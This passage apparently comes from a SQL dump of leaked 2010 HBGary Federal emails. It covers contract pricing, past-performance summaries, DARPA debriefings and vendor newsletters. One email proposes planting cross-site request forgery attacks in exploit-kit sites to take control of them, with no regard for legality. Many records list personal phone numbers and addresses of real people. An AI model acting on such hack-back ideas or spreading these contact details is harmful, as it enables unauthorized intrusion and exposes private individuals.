as required.  You can contact me\r\nvia email or cell:  719-237-8623.\r\n\r\nIf you cannot reach me and need immediate assistance please contact:\r\nContractual / Mgmt -- Aaron Barr (cc\'d):  719-510-8478\r\nTechnical -- Mark Trynor (cc\'d):  719-214-9187\r\n\r\nRegards,\r\nTed\r\n',12500,'aaron_hbgary_com/12500.html'),(7499,'2010-06-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005604.M704483P14101Q2354.eml','\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,Ira.Entis@agilex.com','Additional Past Performance Information','In addition to the past performance I provided in the tech prop, you\r\nmay find the following information useful depending on your page-count\r\nrestrictions/goals:\r\n\r\nOther HBGary Past Work\r\nHBGary has had many unclassified subcontracts with major primes who\r\nhad classified contracts with the Government.  We are contractually\r\nobligated to not disclose the identity of the prime contractors or the\r\nend user agencies.  Below is a brief description of past\r\nsubcontracting work:\r\n\r\nA multiyear subcontract to develop a multi-tiered, agent-based\r\ncomputer penetration system used for CNA and IO\r\nMultiple services subcontracts with various primes and end users to\r\nperform software reverse engineering to uncover exploitable software\r\nvulnerabilities to develop working attack vector exploitation tools\r\nMultiple services contracts to bypass firewalls, intrusion detection\r\nsystems, and other security systems\r\nVarious subcontracts for a single end user to develop software tools\r\nto reverse engineering embedded systems platforms\r\nMultiple services contracts to develop stealthy host agent systems (rootkit)\r\n\r\nHere are some notable contracts with private sector commercial\r\nsecurity software companies:\r\nExtensive testing to validate low level features of security software\r\nproducts and make recommendations for improvements\r\nAdd stealth capabilities to the vendors’ host agents\r\n\r\nHBGary Commercial Software Products\r\n\r\nDigital DNA\r\n\r\nDigital DNA is a patent-pending system that codifies binary and\r\nmalware behaviors and traits into a sequence of hexadecimal bytes.\r\nThe current commercial use of Digital DNA is to detect malware on\r\nWindows computers by assigning a threat severity score and color coded\r\nalert to every running binary on a host.  Underlying technologies used\r\nin the current implementation are automated physical memory analysis\r\nand binary reverse engineering.\r\n\r\nResponder\r\n\r\nResponder Professional is used by security professionals for memory\r\nanalysis, incident response and malware reverse engineering.\r\nTechnologies within Responder are automated Windows physical memory\r\nreconstruction, recovery of all digital objects, binary extraction and\r\ndisassembly, interactive control flow graphing and code view, static\r\nand dynamic reverse engineering capabilities, and reporting system.\r\nUsers work with the system via a flexible graphical user interface or\r\na command line interace.\r\nResponder Field Edition\r\n\r\nResponder Field Edition is used by law enforcement professionals for\r\nmemory forensics.\r\n\r\nFastDump Pro\r\n\r\nFastDump Pro is used to capture and preserve volatile memory from\r\nWindows computers –Windows 2000 through Windows 7.  It images both the\r\nphysical memory and the pagefile, works with both 32- and 64-bit\r\nsystems, and PAE and non-PAE systems.\r\n\r\nREcon\r\n\r\nREcon is a Windows kernel driver that records and graphs low level\r\nmalware behaviors at runtime to extract critical data from unknown\r\nexecutables.  REcon provides a safe sandbox execution environment.\r\nAll executables are forced to remain in memory to aide analysis. REcon\r\nis used by HBGary engineers and security researchers to analyze\r\nsoftware vulnerabilities and develop proof-of-concept exploits (see\r\nattached whitepaper).\r\n',9918,'aaron_hbgary_com/9918.html'),(7500,'2010-06-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005615.M598529P14101Q2355.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Magazine Preview - Smarter Than You Think - I.B.M.\'s Supercomputer to Challenge \'Jeopardy!\' Champions - NYTimes.com','Amazing tech\r\n\r\nhttp://www.nytimes.com/2010/06/20/magazine/20Computer-t.html?pagewanted=1\r\n',8322,'aaron_hbgary_com/8322.html'),(7501,'2010-06-17','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005615.M982881P14101Q2356.eml','aaron@hbgary.com','Register for Fall Courses Before Tuition Rates Increase','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n		  387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n		  388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n		  &nbsp;\r\n		  386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n		  \r\n   The instructor will address the importance of the DoD Information Assurance Certification and Accreditation Process (DIACAP), as well as the laws, policies, guidance, and organizations on which the DIACAP is based.\r\n   The course is designed  for  certifying authorities, information security officers, computer security professionals, information technology staff, and information security staff. Students should have a basic understanding of computer operations.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\nThe instructor will address the importance of the DoD Information Assurance Certification and Accreditation Process (DIACAP), as well as the laws, policies, guidance, and organizations on which the DIACAP is based.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n   This course is designed to train information technology professionals on advanced tactics, techniques, and procedures of advanced cyber network defense pertaining to network threats, vulnerabilities, and exploits and how to detect, analyze, mitigate, validate, and report them. Students will learn to defend their networks against various attacks. The course is performance/demonstration-based and is 75 percent &quot;hands-on&quot; using network simulators.\r\n   \r\n    650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\nThis course provides an understanding of defense-in-depth and the Information Assurance Technical Framework  in network-centric operations. It focuses primarily on computer network defense methods to enhance the student\'s  ability to serve as an IA professional in their organization.\r\n **********Tuition rates increase June 30, 2010***********\r\nOther courses offered in July - August:\r\n907 New!&nbsp; The Ultimate Government Market Research Workshop; July 6, 2010\r\n906 New!&nbsp; The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting;&nbsp; July 7-8, 2010\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.\r\nThere is a separate registration and tuition for the exam.&nbsp; See attached link:&nbsp;\r\n Comp TIA Security+ EXAM Registration\r\n701 Introduction to Electromagnetic Compatibility; Aug 23, Herndon, VA \r\n705 Shielded Enclosures; Aug 24, Herndon VA. \r\n706 Shielding Effectiveness Testing;&nbsp; Aug 25-26, Herndon VA.\r\n707 Construction of Electromagnetically Shielded Enclosures; Aug 27, Herndon VA. \r\nAll Course will be held in Fairfax, VA, unless otherwise noted.\r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n',15731,'aaron_hbgary_com/15731.html'),(7502,'2010-06-17','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297005616.M244227P14101Q2357.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','REBL','Aaron,\r\n\r\nCan I get a copy of the presentation you and Greg gave at Johns Hopkins this week?\r\n\r\nDave\r\n\r\nHaze gray and under way make a fine Navy day...\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n',7991,'aaron_hbgary_com/7991.html'),(7503,'2010-06-17','\"John Harllee\" <John.Harllee@agilex.com>','/aaron@hbgary.com/new/1297005616.M734482P14101Q2358.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mari Jo Boynton\" <MariJo.Boynton@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Pricing for LANL','Ted - thank you for the document - unfortunately as this is a federal like procurement we will need to use a subcontract form that we have for when we are priming as is the case here.  I am in the process of putting that together.\r\n\r\nI had called Penny yesterday to ask if there was any specific verbiage that you all include in your services agreements given the nature of the work that you do (penetration testing in this case).  In reviewing your document it looks pretty standard and I don\'t see anything specific which is fine, but just want to confirm.\r\n\r\nj\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, June 16, 2010 11:22 PM\r\nTo: Mari Jo Boynton; Ira Entis; Barr Aaron; John Harllee\r\nSubject: Re: Pricing for LANL\r\n\r\nAttached is our standard services T&Cs.  This is a draft based on\r\nboiler-plate and may be revised as needed.   Please review and reply\r\nif acceptable or revise with track changes.  We\'ll fill in the items marked with X\'s once the numbers have firmed up.\r\n\r\nPenny mentioned that John may copy and paste as needed into the contract / other docs.\r\n\r\nRegards,\r\nTed\r\n',1501,'aaron_hbgary_com/1501.html'),(7504,'2010-06-17','\"Liz Losi\" <liz.losi@carahsoft.com>','/aaron@hbgary.com/new/1297005617.M319324P14101Q2360.eml','\"Aaron Barr\" <aaron@hbgary.com>','Redefine Your Home Office with IronClad™','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000088;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000088; }\r\na:link { text-decoration: underline; color: #000088; }\r\na:visited { text-decoration: underline; color: #000088; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#808080 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Smart, Secure, Productive Telworking\r\n						Redefine Your Home Office with IronClad&trade; \r\n						\r\n						\r\n						Imagine leaving the office at the end of the day and, instead of slinging a laptop bag over your shoulder, tucking a USB flash drive the size of a stick of gum in your pocket. When you get home, you plug the USB drive into your home computer and boot your entire desktop &ndash; operating system, apps, and files &ndash; with the confidence that your data is secure and protected. \r\n						\r\n						\r\n						IronClad&trade;, the revolutionary new &ldquo;Desktop on a Stick,&rdquo; is redefining the home office. For federal agencies and corporations, IronClad is your key to smart, secure, and productive teleworking for your employees. IronClad turns your employees&rsquo; home computers into their work computer, with full access to everything they need to do their job, but without the security risks inherent in other remote access technologies. \r\n						\r\n						\r\n						Join us for a complimentary webinar on smarter teleworking for your organization. In this webinar, you&rsquo;ll learn how to: \r\n						\r\n						\r\n							\r\n							\r\n							Allow employees to use their home computers to work from home while staying in compliance with security regulations denying the use of personal assets \r\n							\r\n							\r\n							\r\n							\r\n							Keep your employees fully productive at home &ndash; without compromising security &ndash; with IronClad&rsquo;s unique, patent-pending portable desktop technology \r\n							\r\n							\r\n							\r\n							\r\n							Protect critical data at rest or on-the-move through IronClad&rsquo;s leading-edge encryption, tamper-proofing, and remote management \r\n							\r\n							\r\n							\r\n							\r\n							Improve security for teleworkers with advanced, active cyber security tools that fend of malware, viruses, and nearly undetectable rootkits \r\n							\r\n							\r\n						\r\n						\r\n						Sign up now, or click here to register for future access to the archived recording. \r\n						\r\n						\r\n						Sincerely,\r\n						\r\n						Liz Losi\r\n						IronClad Federal at Carahsoft\r\n						703-230-7427 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						liz.losi@carahsoft.com\r\n						\r\n						\r\n						\r\n						\r\n						\r\n						Complimentary Online Seminar \r\n						\r\n						Date: Wednesday, June 30, 2010\r\n						Time: 2pm Eastern; 11am Pacific\r\n						Duration: 1 Hour \r\n						\r\n						 \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			Share this e-mail:      \r\n			\r\n			\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',2157,'aaron_hbgary_com/2157.html'),(7505,'2010-06-17','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005617.M639446P14101Q2361.eml','aaron@hbgary.com','Social Media Brief (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nMr. Barr,\r\n    I\'m CPT Steve Turner from 1st IO Command. I attended your brief at\r\nthe REBL Symposium the other day and wanted to know if I could get a\r\ndigital copy. It was really good and hit on a majority of the topics my\r\nteam works with. Thanks\r\n\r\nV/R\r\n\r\nCPT Steve Turner\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',15910,'aaron_hbgary_com/15910.html'),(7506,'2010-06-17','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297005617.M81264P14101Q2359.eml','aaron@hbgary.com','Are You Part of the Botnet Army?','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJune 17,\r\n 2010Are\r\n You Part of the Botnet\r\n Army?As malware becomes more prevalent, the number of infected computers\r\n continues to grow, some of which are becoming part of large-scale botnets. So what\r\n can you do to protect yourself from joining the \"botnet\r\n Army?\"Click Here to Read\r\n MoreWill\r\n the FAA Open Civilian Skies to\r\n UAVs?While Unmanned Aerial Vehicles (UAVs) have proven their effectiveness\r\n in military theaters around the world, especially Iraq and Afghanistan, their use\r\n in the United States is currently limited to restricted airspace and certain\r\n sections of the Mexican and Canadian borders.Click Here to Read\r\n MoreThe\r\n Future of America\'s Armed\r\n ForcesAt CNAS\' 2010\r\n conference: Shaping the Agenda, military and policy leaders shared their views on\r\n how America\'s armed forces will need to evolve to meet the changing needs of an\r\n increasingly unstable international environment. Click Here to\r\n Read\r\n MoreInsourcing\'s Latest Dilemma:\r\n OCIIn a publication issued June 4th, DoD\'s Standards of Conduct Office\r\n (SOCO) reminded all DoD employees that its policy guidelines prohibit them from\r\n serving on the boards of non-federal entities (NFEs) that they deal with\r\n professionally. Click Here to Read\r\n MoreKeith Fimian Wins GOP Nomination in VA\'s\r\n 11thNorthern Virgina businessman Keith Fimian has secured the\r\n Republican nomination in this fall\'s race for Virginia\'s 11th district\r\n Congressional\r\n seat. Click Here to Read\r\n MoreSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceFederal CIO Vivek Kundra\'s IT Dashboard marks one year; Unisys\r\n Federal\'s Ted Davies keeps IT projects \"in the green\"\r\n Executive Spotlight: Vic See of Integrity\r\n ApplicationsCharles Palmer of IBM Research: Integrity, Curiosity Makes a Good Cyber\r\n ProSecretary Jim Duffey: \"Technology isn\'t red or\r\n blue\"\r\n &nbsp;ExecutiveBiz\'s Annual Roundup: CTOs in Government and\r\n Industry &#8212; What\'s ahead\r\n &nbsp;Top Row (L-R): Susie Adams, John Bordwine, Nick\r\n Combs, Lee Holcomb&nbsp; Bottom Row (L-R): Stephen Huffman, Yogesh Khanna,\r\n Peter Levin, Ron Lewis, Dawn\r\n MeyerrieckWhat\'s\r\nahead on the technology front for government and industry? The answer\r\ndepends on who you\'re talking to. So when we set out to showcase our\r\nannual roundup of CTO perspectives, we went knocking on both sides of\r\nthe aisle. From the ranks of some of the area\'s government contracting\r\nfirms, to the halls of federal agencies, the CTOs highlighted below\r\noffer an in-depth look at the top technology challenges ahead &#8212; and\r\ndevelopments in the works moving\r\n forward.&nbsp;Click Here to Read\r\n More&nbsp;&nbsp;L-3, Lockheed\r\n Each Win Pair of Deals from ArmyWyle, Raytheon,\r\n Booz Allen Pen Air Force DealsICx Pens Hawaii\r\n Transportation DealNGC to Provide\r\n Radar to German NavyBAE Wins Army\r\n Deal, L-3 Turns TwoBoeing, BAE,\r\n Raytheon Book DoD DealsHarry Martin on\r\n Intelligent Decisions\' New DISA DealSAIC Set With\r\n Half-Billion Dollar SPAWAR DealBooz Allen,\r\n Wyle Claim Air Force ContractsLockheed, GD\r\n Win DoD Deals, Boeing Takes TwoA-T Solutions\r\n Dennis Kelly on New AppointmentsAttain\'s Rich\r\n Roberts on New Hire Scott LambertBAE\'s Linda\r\n Hudson Talks About New General Counsel Ian GrahamSAIC\'s Deb\r\n Alderson Comments on Debbie James\' DACOWITS AppointmentLinda Mills,\r\n Harry Raduege Named to AFA\'s CyberPatriot BoardClick Here for\r\n More GovConwireTaliban Hacked,\r\n DoD Starts Cyber Offensive?FCC Warns\r\n Public of \'Cyber Snoops\'How Markets\r\n Impact IT Security SpendingAustralian\r\n Government Kills AusCERTScottish Police\r\n Department Hit with Cyber AttackLieberman and\r\n Collins Unveil Cyber BillMassive Hack\r\n Hits More Than 100,000 SitesMelissa\r\n Hathaway Outlines Key Questions to Ask About the CloudCyber Debate\r\n Finds No Exaggeration in Threat of Cyber WarThe Security of\r\n the Cloud is Better than it AppearsClick Here for\r\n More from The New New Internet 5 Tips to\r\n Motivate Your TeamBusiness\r\n leaders form CyberPatriot Board of AdvisersBAE, Northrop\r\n Present at Eurosatory 2010CEO Who Cares:\r\n iSIGHT\'s John WattersLiquidity\r\n Services to Acquire Network International\r\n Click Here for\r\n More from GovCon Executive\r\n CIA Appoints\r\n Gerald P. Hamilton to Lead Diversity ProgramsAssistant\r\n Attorney General David Kris Says Yes to Law Enforcement as Counterterrorism\r\n ToolUS Businesses\r\n are Key Drivers to Job Creation, Says ObamaHappy 235th\r\n Birthday, US ArmyHHS Secretary\r\n Kathleen Sebelius Kicks Off Initiative to Fight Child ObesityKey to Stopping\r\n Terrorism is Understanding the Root Cause, Says FlournoyFCC Warns of\r\n \'Cyber Snoops\'Mullen Calls\r\n the Graduates of NDU to a \'great and immediate purpose\'General\r\n McChrystal Reviews Past Year of Work in Afghanistan, Looks AheadProject\r\n Deliverance Closes Net on 2,200 Alleged Drug-Cartel Members, Seizes 74.1 Tons of\r\n DrugsBernanke\r\n Optimistic About Economic Recovery, But Warns of Future Fiscal\r\n PositionClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceErnst & Young Entrepreneur\r\n Of The Year 2010 Greater Washington Awards\r\n Gala.The\r\nErnst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\ncelebrate. They\'ve built their dream companies. Expanded. Innovated.\r\nIt\'s time to recognize their achievements. Join us at this\r\n year\'s event\r\nand see who will take home top honors.Shine your shoes. Raise your glass. Get\r\n inspired.When:Thursday, June 24, 2010&nbsp; 6:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more\r\n information Click\r\n Here&nbsp; or call +1 703 747 0858920\r\n AEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Federal CIO Vivek Kundra\'s IT Dashboard marks one year; Unisys Federal\'s\r\n Ted Davies keeps IT projects \"in the green\"\r\n A\r\n year ago, this month, Federal CIO Vivek Kundra\'s Federal IT Dashboard was launched\r\n &#8212; and with it, a call for greater transparency for both government\r\n leaders and contractors to deliver IT projects on time and on budget. One company\r\n that has risen to the challenge is Unisys Federal\r\n Systems. It\'s something that Ted Davies, the federal unit\'s president, speaks\r\n candidly about. \"A few years ago, we had a handful of projects that we were having\r\n some issues with,\" says Davies. Click Here to Read\r\n MoreExecutive Spotlight: Vic See of Integrity\r\n Applications\r\n Vic See, senior vice president at IAI, spoke with ExecutiveBiz\r\n about his background in the Navy and what the future holds for his\r\n firm.Click Here to Read\r\n MoreCharles Palmer of IBM Research: Integrity, Curiosity Makes a Good Cyber\r\n ProIBM Research\'s Chief Technology Officer\r\n of Security & Privacy Dr. Charles Palmer has been a self-proclaimed computer geek\r\n since high school; however, his transition into security did not happen until\r\n years later. After finishing his doctoral degree, he was continuing his thesis\r\n research on genetic algorithms and optimization. One day, he was asked by his boss\r\n at IBM Research to consider assembling a team of security professionals who would\r\n conduct system penetration testing of customers\' systems at their request. A tough\r\n opportunity to pass up, Palmer agreed. He built up a team of ethical hackers and\r\n started helping customers around the world improve their security. Since then, the\r\n security department has grown to have dozens of cryptographers, high-assurance\r\n systems people, security analytics experts, and secure software development\r\n professionals across IBM Research\'s worldwide labs \"doing some pretty amazing\r\n stuff,\" as Palmer put it. Click Here to Read\r\n MoreSecretary Jim Duffey: \"Technology isn\'t red or\r\n blue\"Back in January, Jim Duffey was\r\n appointed Secretary of Technology for Virginia by then Governor-elect Bob\r\n McDonnell. Since that time, Duffey has been hard at work to get as much done as\r\n possible within the short time he will hold office.&nbsp; Click Here to Read\r\n More&nbsp; \r\n A Letter from the\r\n EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',12359,'aaron_hbgary_com/12359.html'),(7507,'2010-06-17','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297005617.M942683P14101Q2362.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>','UPDATE: DARPA Cyber Genome Technical Area #1','Just to let everyone know, we are scheduled to have our Cyber Genome Technical Area #1 debriefing with DARPA on Tuesday, June 29.  I will let everyone know what we learn.\r\n\r\nAaron and Anita, do you have a scheduled debriefing day yet?\r\n\r\nChris\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Starr, Christopher H. \r\nSent: Thursday, May 20, 2010 4:34 PM\r\nTo: Aaron Barr; Phil Porras; Anita D\'Amico; Irby Thompson\r\nSubject: DARPA Cyber Genome Technical Area #1\r\n\r\nUnfortunately we have received news that our DARPA Cyber Genome Technical Area #1 Proposal did not receive funding.\r\n\r\nWe will learn more during the DARPA debrief and I will share what we learn with everyone.\r\n\r\nI want to thank everyone for the incredible effort associated with the DARPA Cyber Genome proposals.  We created a great team and I am looking forward to finding other near-term partnership opportunities to work together.\r\n\r\nMy great appreciation again,\r\n\r\nChris\r\n\r\n',935,'aaron_hbgary_com/935.html'),(7508,'2010-06-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005621.M364115P14101Q2363.eml','\"Steven P Winterfeld\" <steven.winterfeld@tasc.com>','Fwd: Datasheet','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Datasheet\r\nAaron BarrCEOHBGary Federal Inc.\r\n',497,'aaron_hbgary_com/497.html'),(7509,'2010-06-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005622.M601056P14101Q2364.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>','TMC Idea: Exploit Pack 0days','What do you think about us infiltrating these bad guys that are using exploit kits as part of our monitoring offering?I saw this post:  http://seclists.org/bugtraq/2010/Jun/178\r\nWe could plant some XSRF evil in these sites, take control, and monitor fairly easily.  I have no idea about the legal ramifications but damn it would be fun.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',239,'aaron_hbgary_com/239.html'),(7510,'2010-06-17','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297005622.M919725P14101Q2365.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,,','Re: UPDATE: DARPA Cyber Genome Technical Area #1','Yes June 29. See you there\r\n\r\nSent from my iPhone\r\n\r\nOn Jun 17, 2010, at 2:48 PM, \"Starr, Christopher H.\"  wrote:\r\n\r\n> Just to let everyone know, we are scheduled to have our Cyber Genome  \r\n> Technical Area #1 debriefing with DARPA on Tuesday, June 29.  I will  \r\n> let everyone know what we learn.\r\n>\r\n> Aaron and Anita, do you have a scheduled debriefing day yet?\r\n>\r\n> Chris\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Starr, Christopher H.\r\n> Sent: Thursday, May 20, 2010 4:34 PM\r\n> To: Aaron Barr; Phil Porras; Anita D\'Amico; Irby Thompson\r\n> Subject: DARPA Cyber Genome Technical Area #1\r\n>\r\n> Unfortunately we have received news that our DARPA Cyber Genome  \r\n> Technical Area #1 Proposal did not receive funding.\r\n>\r\n> We will learn more during the DARPA debrief and I will share what we  \r\n> learn with everyone.\r\n>\r\n> I want to thank everyone for the incredible effort associated with  \r\n> the DARPA Cyber Genome proposals.  We created a great team and I am  \r\n> looking forward to finding other near-term partnership opportunities  \r\n> to work together.\r\n>\r\n> My great appreciation again,\r\n>\r\n> Chris\r\n>\r\n',11793,'aaron_hbgary_com/11793.html'),(7511,'2010-06-18','\"AFCEA NOVA Small Business Committee\" <events@afceanova.org>','/aaron@hbgary.com/new/1297005623.M140665P14101Q2366.eml','aaron@hbgary.com','Less than 48 hrs left to pre-register for Rescheduled DISA GIG Enterprise Services (GES) Small Biz Breakfast on June 22','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Jun \r\n        22 (Tue), 2010 -- AFCEA NOVA Small Business Breakfast\r\n        Less than 48 hrs left to pre-register - Closes \r\n        this weeekend\r\n        \r\n        DISA GIG Enterprise Services (GES)\r\n      Please \r\n        join the AFCEA NOVA Small Business Breakfast Committee for a morning with \r\n        DISA&#8217;s newly appointed Technical Director, Global Information Grid \r\n        Enterprise Services, Mr. John Wilmer. As we all know the DISA conference \r\n        was canceled this past month due to the unfortunate flood waters in Nashville. \r\n        However, DISA has graciously agreed to come speak to our small business \r\n        community and discuss the information that was to be released at the DISA \r\n        Partnership Conference - normally released to the general public months \r\n        after the event. So come join us and get the latest insight to DISA&#8217;s \r\n        operations and future plans. Plus INPUT will talk about the prospects \r\n        for the DISA Business space.\r\n         \r\n        \r\n        Speakers:\r\n      John \r\n        &quot;Jack&quot; Wilmer 